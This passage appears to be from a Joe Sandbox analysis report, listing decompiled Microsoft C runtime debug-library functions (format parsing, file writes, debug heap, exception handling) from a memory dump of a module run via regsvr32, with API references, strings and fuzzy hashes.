				if (_a696 != 0x2a) goto 0xf9d3be16;
				_t134 =  &_a1112;
				_a116 = E000007FE7FEF9D31E40(_t134);
				if (_a116 >= 0) goto 0xf9d3be14;
				_a116 = 0xffffffff;
				goto 0xf9d3be2d;
				_a116 = _t114 + _t134 - 0x30;
				_a972 = _a696 & 0x000000ff;
				if (_a972 == 0x49) goto 0xf9d3beb7;
				if (_a972 == 0x68) goto 0xf9d3bfc0;
				if (_a972 == 0x6c) goto 0xf9d3be76;
				if (_a972 == 0x77) goto 0xf9d3bfcd;
				goto 0xf9d3bfd9;
				if ( *_a1096 != 0x6c) goto 0xf9d3bea7;
				_a1096 = _a1096 + 1;
				asm("bts eax, 0xc");
				goto 0xf9d3beb2;
				_a80 = _a80 | 0x00000010;
				goto 0xf9d3bfd9;
				asm("bts eax, 0xf");
				if ( *_a1096 != 0x36) goto 0xf9d3bf09;
				if ( *((char*)(_a1096 + 1)) != 0x34) goto 0xf9d3bf09;
				_a1096 = _a1096 + 2;
				asm("bts eax, 0xf");
				goto 0xf9d3bfbe;
				if ( *_a1096 != 0x33) goto 0xf9d3bf4c;
				if ( *((char*)(_a1096 + 1)) != 0x32) goto 0xf9d3bf4c;
				_a1096 = _a1096 + 2;
				asm("btr eax, 0xf");
				goto 0xf9d3bfbe;
				if ( *_a1096 == 0x64) goto 0xf9d3bfac;
				if ( *_a1096 == 0x69) goto 0xf9d3bfac;
				if ( *_a1096 == 0x6f) goto 0xf9d3bfac;
				if ( *_a1096 == 0x75) goto 0xf9d3bfac;
				if ( *_a1096 == 0x78) goto 0xf9d3bfac;
				if ( *_a1096 != 0x58) goto 0xf9d3bfae;
				goto 0xf9d3bfbe;
				_a704 = 0;
				goto E000007FE7FEF9D3BB66;
				goto 0xf9d3bfd9;
				_a80 = _a80 | 0x00000020;
				goto 0xf9d3bfd9;
				asm("bts eax, 0xb");
				_a976 = _a696;
				_a976 = _a976 - 0x41;
				if (_a976 - 0x37 > 0) goto 0xf9d3ca31;
				goto __rax;
			}

0x7fef9d3bdda
0x7fef9d3bdf2
0x7fef9d3bdf4
0x7fef9d3be01
0x7fef9d3be0a
0x7fef9d3be0c
0x7fef9d3be14
0x7fef9d3be29
0x7fef9d3be3a
0x7fef9d3be49
0x7fef9d3be53
0x7fef9d3be61
0x7fef9d3be6b
0x7fef9d3be71
0x7fef9d3be84
0x7fef9d3be91
0x7fef9d3be9d
0x7fef9d3bea5
0x7fef9d3beae
0x7fef9d3beb2
0x7fef9d3bebb
0x7fef9d3bed1
0x7fef9d3bee2
0x7fef9d3bef0
0x7fef9d3befc
0x7fef9d3bf04
0x7fef9d3bf17
0x7fef9d3bf28
0x7fef9d3bf36
0x7fef9d3bf42
0x7fef9d3bf4a
0x7fef9d3bf5a
0x7fef9d3bf6a
0x7fef9d3bf7a
0x7fef9d3bf8a
0x7fef9d3bf9a
0x7fef9d3bfaa
0x7fef9d3bfac
0x7fef9d3bfae
0x7fef9d3bfb9
0x7fef9d3bfbe
0x7fef9d3bfc7
0x7fef9d3bfcb
0x7fef9d3bfd1
0x7fef9d3bfe6
0x7fef9d3bff7
0x7fef9d3c006
0x7fef9d3c02d

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3BB09
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3BB1E
_invalid_parameter.LIBCMTD ref: 000007FEF9D3CD3E
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3CD53
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3CD74

Strings

_output_s_l, xrefs: 000007FEF9D3BAFB
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3BAB7, 000007FEF9D3BAF4
("Incorrect format specifier", 0), xrefs: 000007FEF9D3BAA2, 000007FEF9D3BB02

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$_invalid_parameter
String ID: ("Incorrect format specifier", 0)$_output_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2192614184-192189897
Opcode ID: 365a2dca31272ad0c00aec3a5831cb280a19fde5761ae3667445a1def64af164
Instruction ID: 4b3f24e3fb7174c937380b25a7ddf4328f53ddd6ef2afac6cc97801a46cd3647
Opcode Fuzzy Hash: 365a2dca31272ad0c00aec3a5831cb280a19fde5761ae3667445a1def64af164
Instruction Fuzzy Hash: 41416E72A0DAC28AE3F0DB24E8547BEB7E4E385345F600126D6DD869A9DB7ED141CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3DD88 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 80
COMMON

Download Yara Rule

C-Code - Quality: 24%

			E000007FE7FEF9D3DD88(signed int _a80, intOrPtr _a116, signed int _a1208, intOrPtr _a1216, signed int _a1408, signed int _a1412, signed short* _a1544, char _a1560) {
				void* _t114;
				char* _t134;

				_a116 = 0;
				if ((_a1208 & 0x0000ffff) != 0x2a) goto 0xf9d3ddc4;
				_t134 =  &_a1560;
				_a116 = E000007FE7FEF9D31E40(_t134);
				if (_a116 >= 0) goto 0xf9d3ddc2;
				_a116 = 0xffffffff;
				goto 0xf9d3dddb;
				_a116 = _t114 + _t134 - 0x30;
				_a1408 = _a1208 & 0x0000ffff;
				if (_a1408 == 0x49) goto 0xf9d3de66;
				if (_a1408 == 0x68) goto 0xf9d3df6f;
				if (_a1408 == 0x6c) goto 0xf9d3de24;
				if (_a1408 == 0x77) goto 0xf9d3df7c;
				goto 0xf9d3df88;
				if (( *_a1544 & 0x0000ffff) != 0x6c) goto 0xf9d3de56;
				_a1544 =  &(_a1544[1]);
				asm("bts eax, 0xc");
				goto 0xf9d3de61;
				_a80 = _a80 | 0x00000010;
				goto 0xf9d3df88;
				asm("bts eax, 0xf");
				if (( *_a1544 & 0x0000ffff) != 0x36) goto 0xf9d3deb8;
				if ((_a1544[1] & 0x0000ffff) != 0x34) goto 0xf9d3deb8;
				_a1544 =  &(_a1544[2]);
				asm("bts eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) != 0x33) goto 0xf9d3defb;
				if ((_a1544[1] & 0x0000ffff) != 0x32) goto 0xf9d3defb;
				_a1544 =  &(_a1544[2]);
				asm("btr eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) == 0x64) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x69) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x6f) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x75) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x78) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) != 0x58) goto 0xf9d3df5d;
				goto 0xf9d3df6d;
				_a1216 = 0;
				goto E000007FE7FEF9D3DC41;
				goto 0xf9d3df88;
				_a80 = _a80 | 0x00000020;
				goto 0xf9d3df88;
				asm("bts eax, 0xb");
				_a1412 = _a1208 & 0x0000ffff;
				_a1412 = _a1412 - 0x41;
				if (_a1412 - 0x37 > 0) goto 0xf9d3ea2a;
				goto __rax;
			}

0x7fef9d3dd88
0x7fef9d3dda0
0x7fef9d3dda2
0x7fef9d3ddaf
0x7fef9d3ddb8
0x7fef9d3ddba
0x7fef9d3ddc2
0x7fef9d3ddd7
0x7fef9d3dde8
0x7fef9d3ddf7
0x7fef9d3de01
0x7fef9d3de0f
0x7fef9d3de19
0x7fef9d3de1f
0x7fef9d3de32
0x7fef9d3de40
0x7fef9d3de4c
0x7fef9d3de54
0x7fef9d3de5d
0x7fef9d3de61
0x7fef9d3de6a
0x7fef9d3de80
0x7fef9d3de91
0x7fef9d3de9f
0x7fef9d3deab
0x7fef9d3deb3
0x7fef9d3dec6
0x7fef9d3ded7
0x7fef9d3dee5
0x7fef9d3def1
0x7fef9d3def9
0x7fef9d3df09
0x7fef9d3df19
0x7fef9d3df29
0x7fef9d3df39
0x7fef9d3df49
0x7fef9d3df59
0x7fef9d3df5b
0x7fef9d3df5d
0x7fef9d3df68
0x7fef9d3df6d
0x7fef9d3df76
0x7fef9d3df7a
0x7fef9d3df80
0x7fef9d3df95
0x7fef9d3dfa6
0x7fef9d3dfb5
0x7fef9d3dfdc

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3DBE4
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3DBF9
_invalid_parameter.LIBCMTD ref: 000007FEF9D3ED4C
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3ED61
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3ED82

Strings

_woutput_s_l, xrefs: 000007FEF9D3DBD6
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3DB92, 000007FEF9D3DBCF
("Incorrect format specifier", 0), xrefs: 000007FEF9D3DB7D, 000007FEF9D3DBDD

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$_invalid_parameter
String ID: ("Incorrect format specifier", 0)$_woutput_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2192614184-734865713
Opcode ID: 18be2ec324f4e6ddaf4da83870b7f9445444224664337f66457babe689a72d53
Instruction ID: 7f650dd300c45f52e976b570372fea59531d88f616deac0b68cc0cf4a1a25f4d
Opcode Fuzzy Hash: 18be2ec324f4e6ddaf4da83870b7f9445444224664337f66457babe689a72d53
Instruction Fuzzy Hash: 9D4128A2A0C6C286E7F09B64E8447BE72E4F38434AF600126D6C9876A9DB3ED444CF14

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D39520 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

Part of subcall function 000007FEF9D3F900: __doserrno.LIBCMTD ref: 000007FEF9D3F913

SetFilePointer.KERNEL32 ref: 000007FEF9D395B0
GetLastError.KERNEL32 ref: 000007FEF9D395C1
_dosmaperr.LIBCMTD ref: 000007FEF9D395D6

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\lseeki64.c, xrefs: 000007FEF9D39578
("Invalid file descriptor. File possibly closed by a different thread",0), xrefs: 000007FEF9D39563

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: ErrorFileLastPointer__doserrno_dosmaperr
String ID: ("Invalid file descriptor. File possibly closed by a different thread",0)$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\lseeki64.c
API String ID: 275287319-2412454244
Opcode ID: c7efb4c2b63aa0ea1a393bbb45a77ac8f6d4c0e98eaf8d85a5d097220697af2b
Instruction ID: 4cc925a7ddd92a70968dc62c242263200834f6053f28a3bc4a48022cf8d44a9e
Opcode Fuzzy Hash: c7efb4c2b63aa0ea1a393bbb45a77ac8f6d4c0e98eaf8d85a5d097220697af2b
Instruction Fuzzy Hash: FA318372A18B85C6D790CB28E88066E73A1F7857A5F604325E6FE47AF9CB3DD440CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D26210 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 66COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D262BE
_unlock.LIBCMTD ref: 000007FEF9D26329

Strings

_CrtSetDbgFlag, xrefs: 000007FEF9D262B0
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c, xrefs: 000007FEF9D2626F, 000007FEF9D262A9
(fNewBits==_CRTDBG_REPORT_FLAG) || ((fNewBits & 0x0ffff & ~(_CRTDBG_ALLOC_MEM_DF | _CRTDBG_DELAY_FREE_MEM_DF | _CRTDBG_CHECK_ALWAY, xrefs: 000007FEF9D2625A, 000007FEF9D262B7

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter_unlock
String ID: (fNewBits==_CRTDBG_REPORT_FLAG) || ((fNewBits & 0x0ffff & ~(_CRTDBG_ALLOC_MEM_DF | _CRTDBG_DELAY_FREE_MEM_DF | _CRTDBG_CHECK_ALWAY$_CrtSetDbgFlag$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c
API String ID: 2816345473-1282596470
Opcode ID: 3f7f838120eed42c27c7ea3ce685aad0c3061be731b7dc7317e8a9b82dec8473
Instruction ID: 5fae40e96951f3d59b44a89f64fcf0ff6634817f5e1c8960b8a37b7fc16bb0b2
Opcode Fuzzy Hash: 3f7f838120eed42c27c7ea3ce685aad0c3061be731b7dc7317e8a9b82dec8473
Instruction Fuzzy Hash: CF313472D1D2428AE3A08B68ED4576EB3E0F741364F615236A2CD866F5D77EE4488B00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D40070 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 55COMMONLIBRARYCODE

Download Yara Rule

APIs

_free_nolock.LIBCMTD ref: 000007FEF9D400EA
_free_nolock.LIBCMTD ref: 000007FEF9D40143
_unlock.LIBCMTD ref: 000007FEF9D4015A

Strings

pNode->_Next != NULL, xrefs: 000007FEF9D40107
f:\dd\vctools\crt_bld\self_64_amd64\crt\prebuild\eh\typname.cpp, xrefs: 000007FEF9D4011C

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _free_nolock$_unlock
String ID: f:\dd\vctools\crt_bld\self_64_amd64\crt\prebuild\eh\typname.cpp$pNode->_Next != NULL
API String ID: 2500497606-1087415141
Opcode ID: 73e945bef0fa2e243f2cc79ce7faf04cefa07676de83a818dd77e5436e879e5d
Instruction ID: 19d3e213fdd89feddaad3ed7c2e4781bfc305c80ac1e5456795dd8baf3e1709b
Opcode Fuzzy Hash: 73e945bef0fa2e243f2cc79ce7faf04cefa07676de83a818dd77e5436e879e5d
Instruction Fuzzy Hash: FB21FC36629B8581EB909B59E89072DA3E4F3C4B94F609426FACE437B4CF7ED444CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D35393 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

__RethrowException.LIBCMTD ref: 000007FEF9D353C5

Part of subcall function 000007FEF9D354A0: RaiseException.KERNEL32 ref: 000007FEF9D354CD

__RethrowException.LIBCMTD ref: 000007FEF9D353D1
_FindAndUnlinkFrame.LIBCMTD ref: 000007FEF9D353DC
_IsExceptionObjectToBeDestroyed.LIBCMTD ref: 000007FEF9D35433

Strings

csm, xrefs: 000007FEF9D353ED

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Exception$Rethrow$DestroyedFindFrameObjectRaiseUnlink
String ID: csm
API String ID: 933340387-1018135373
Opcode ID: 185150422f69e9325bbbdd07ff6b0460cc0f5d94f5833ed3dae1d6afaaf19a73
Instruction ID: be7caa3ba3d0a30f9fef9d29ccc0ee5b0ac29a888dcf6323555a590ed5530147
Opcode Fuzzy Hash: 185150422f69e9325bbbdd07ff6b0460cc0f5d94f5833ed3dae1d6afaaf19a73
Instruction Fuzzy Hash: BE21FA32A0C64582DAA09B15E49076D67A0F7C0B52F611136EADE077B5CB3BD4418B00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D39694 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 37COMMON

Download Yara Rule

APIs

__doserrno.LIBCMTD ref: 000007FEF9D396F6
_invalid_parameter.LIBCMTD ref: 000007FEF9D39730

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\write.c, xrefs: 000007FEF9D396D6, 000007FEF9D3971B
(fh >= 0 && (unsigned)fh < (unsigned)_nhandle), xrefs: 000007FEF9D396C1, 000007FEF9D39729
_write, xrefs: 000007FEF9D39722

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: __doserrno_invalid_parameter
String ID: (fh >= 0 && (unsigned)fh < (unsigned)_nhandle)$_write$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\write.c
API String ID: 4140903211-23161695
Opcode ID: 32410c4887627c76782b03988199a8b6bafae630e8670220b1a4c16fdf178152
Instruction ID: 83327c57c34769199563c7dbb3a6bce46be38180c11154985772b493e57d3243
Opcode Fuzzy Hash: 32410c4887627c76782b03988199a8b6bafae630e8670220b1a4c16fdf178152
Instruction Fuzzy Hash: 611127B1A29602CAF7D0AB24ED5476E72E1F380389F60A125E2DD426E4D7BEE5448B41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D39939 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 36COMMON

Download Yara Rule

APIs

__doserrno.LIBCMTD ref: 000007FEF9D39998
_invalid_parameter.LIBCMTD ref: 000007FEF9D399D2

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\write.c, xrefs: 000007FEF9D39978, 000007FEF9D399BD
(buf != NULL), xrefs: 000007FEF9D39963, 000007FEF9D399CB
_write_nolock, xrefs: 000007FEF9D399C4

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: __doserrno_invalid_parameter
String ID: (buf != NULL)$_write_nolock$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\write.c
API String ID: 4140903211-3042049227
Opcode ID: b156558e5a530bd8cc364ecba4e09f8d8b9f154ab820f1b2babcd7abee70c9c3
Instruction ID: 227cbb44b92b13f2699fc348b07479794ffd84b2571dbd840c84b1baf771b638
Opcode Fuzzy Hash: b156558e5a530bd8cc364ecba4e09f8d8b9f154ab820f1b2babcd7abee70c9c3
Instruction Fuzzy Hash: 1A115731E0C6429AF7A49F24EC117AE73D0F780398FA09126D2CD426E5DB7EE644CB11

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3976D Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 33COMMON

Download Yara Rule

APIs

__doserrno.LIBCMTD ref: 000007FEF9D397C3
_invalid_parameter.LIBCMTD ref: 000007FEF9D397FD

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\write.c, xrefs: 000007FEF9D397A3, 000007FEF9D397E8
(_osfile(fh) & FOPEN), xrefs: 000007FEF9D3978E, 000007FEF9D397F6
_write, xrefs: 000007FEF9D397EF

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: __doserrno_invalid_parameter
String ID: (_osfile(fh) & FOPEN)$_write$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\write.c
API String ID: 4140903211-1338331675
Opcode ID: 11864ca282438847dd27f4dc85d1758fde49d78cd6d39020a8393d86cd701a27
Instruction ID: 6bd6a3a9ad0f3f204fba163462b9475bfd771603381d6f38345b55863188decb
Opcode Fuzzy Hash: 11864ca282438847dd27f4dc85d1758fde49d78cd6d39020a8393d86cd701a27
Instruction Fuzzy Hash: 0B0108B1A1C642C6FBA0AB64EC407AD36E0F380358FB04125E2CD476F5D7BEE9458B41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D39A9B Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 17COMMON

Download Yara Rule

APIs

__doserrno.LIBCMTD ref: 000007FEF9D39A9B
_invalid_parameter.LIBCMTD ref: 000007FEF9D39AD5

Part of subcall function 000007FEF9D2BD70: DecodePointer.KERNEL32 ref: 000007FEF9D2BD99

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\write.c, xrefs: 000007FEF9D39AC0
((cnt & 1) == 0), xrefs: 000007FEF9D39ACE
_write_nolock, xrefs: 000007FEF9D39AC7

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: DecodePointer__doserrno_invalid_parameter
String ID: ((cnt & 1) == 0)$_write_nolock$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\write.c
API String ID: 1098298932-1795423647
Opcode ID: 17be20b0b4ddc98d10ae5d9642fe0f8cd8b1b2069c373d6ecdcef621e5a80c70
Instruction ID: 84e1f9b7d4b50a62aaca49ed338a5ee7eeb2a48d33c586d02a205ea10770b6a2
Opcode Fuzzy Hash: 17be20b0b4ddc98d10ae5d9642fe0f8cd8b1b2069c373d6ecdcef621e5a80c70
Instruction Fuzzy Hash: 8CE03961A0890691F6D4AF14EC113ED2290A740788FE1422290CC072F2CB7EA6058751

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2F570 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 16%

			E000007FE7FEF9D2F570(intOrPtr __edx, long long __rcx, void* __rdx, long long __r8, void* _a8, intOrPtr _a16, long long _a24, intOrPtr _a32, void* _a40, intOrPtr _a48, intOrPtr _a64) {
				long long _v24;
				intOrPtr _v32;
				long long _v40;
				signed int _v48;
				int _v52;
				int _v56;
				signed int _v64;
				long long _v72;
				long long _t82;

				_a32 = r9d;
				_a24 = __r8;
				_a16 = __edx;
				_a8 = __rcx;
				_v56 = 0;
				if (_a48 != 0) goto 0xf9d2f5ab;
				_a48 =  *((intOrPtr*)( *_a8 + 4));
				if (_a64 == 0) goto 0xf9d2f5bf;
				_v32 = 9;
				goto 0xf9d2f5c7;
				_v32 = 1;
				_v64 = 0;
				_v72 = 0;
				r9d = _a32;
				_v48 = MultiByteToWideChar(??, ??, ??, ??, ??, ??);
				if (_v48 != 0) goto 0xf9d2f60b;
				goto 0xf9d2f6f8;
				if (0 != 0) goto 0xf9d2f652;
				if (_v48 <= 0) goto 0xf9d2f652;
				if (_v48 - 0xfffffff0 > 0) goto 0xf9d2f652;
				_t82 = _v48 + _v48 + 0x10;
				E000007FE7FEF9D2F3B0(malloc(??), 0xdddd, _t82);
				_v24 = _t82;
				goto 0xf9d2f65b;
				_v24 = 0;
				_v40 = _v24;
				if (_v40 != 0) goto 0xf9d2f674;
				goto 0xf9d2f6f8;
				E000007FE7FEF9D232B0(0, _a48, 0, _v40, __rdx, _v48 << 1);
				_v64 = _v48;
				_v72 = _v40;
				r9d = _a32;
				_v52 = MultiByteToWideChar(??, ??, ??, ??, ??, ??);
				if (_v52 == 0) goto 0xf9d2f6ea;
				r8d = _v52;
				_v56 = GetStringTypeW(??, ??, ??, ??);
				E000007FE7FEF9D2F3E0(_v40);
				return _v56;
			}

0x7fef9d2f570
0x7fef9d2f575
0x7fef9d2f57a
0x7fef9d2f57e
0x7fef9d2f587
0x7fef9d2f597
0x7fef9d2f5a4
0x7fef9d2f5b3
0x7fef9d2f5b5
0x7fef9d2f5bd
0x7fef9d2f5bf
0x7fef9d2f5c7
0x7fef9d2f5cf
0x7fef9d2f5d8
0x7fef9d2f5f9
0x7fef9d2f602
0x7fef9d2f606
0x7fef9d2f60f
0x7fef9d2f616
0x7fef9d2f62a
0x7fef9d2f631
0x7fef9d2f646
0x7fef9d2f64b
0x7fef9d2f650
0x7fef9d2f652
0x7fef9d2f660
0x7fef9d2f66b
0x7fef9d2f66f
0x7fef9d2f686
0x7fef9d2f68f
0x7fef9d2f698
0x7fef9d2f69d
0x7fef9d2f6bf
0x7fef9d2f6c8
0x7fef9d2f6d2
0x7fef9d2f6e6
0x7fef9d2f6ef
0x7fef9d2f6fc

APIs

MultiByteToWideChar.KERNEL32 ref: 000007FEF9D2F5F3
malloc.LIBCMTD ref: 000007FEF9D2F639
_MarkAllocaS.LIBCMTD ref: 000007FEF9D2F646
MultiByteToWideChar.KERNEL32 ref: 000007FEF9D2F6B9
GetStringTypeW.KERNEL32 ref: 000007FEF9D2F6E0

Memory Dump Source

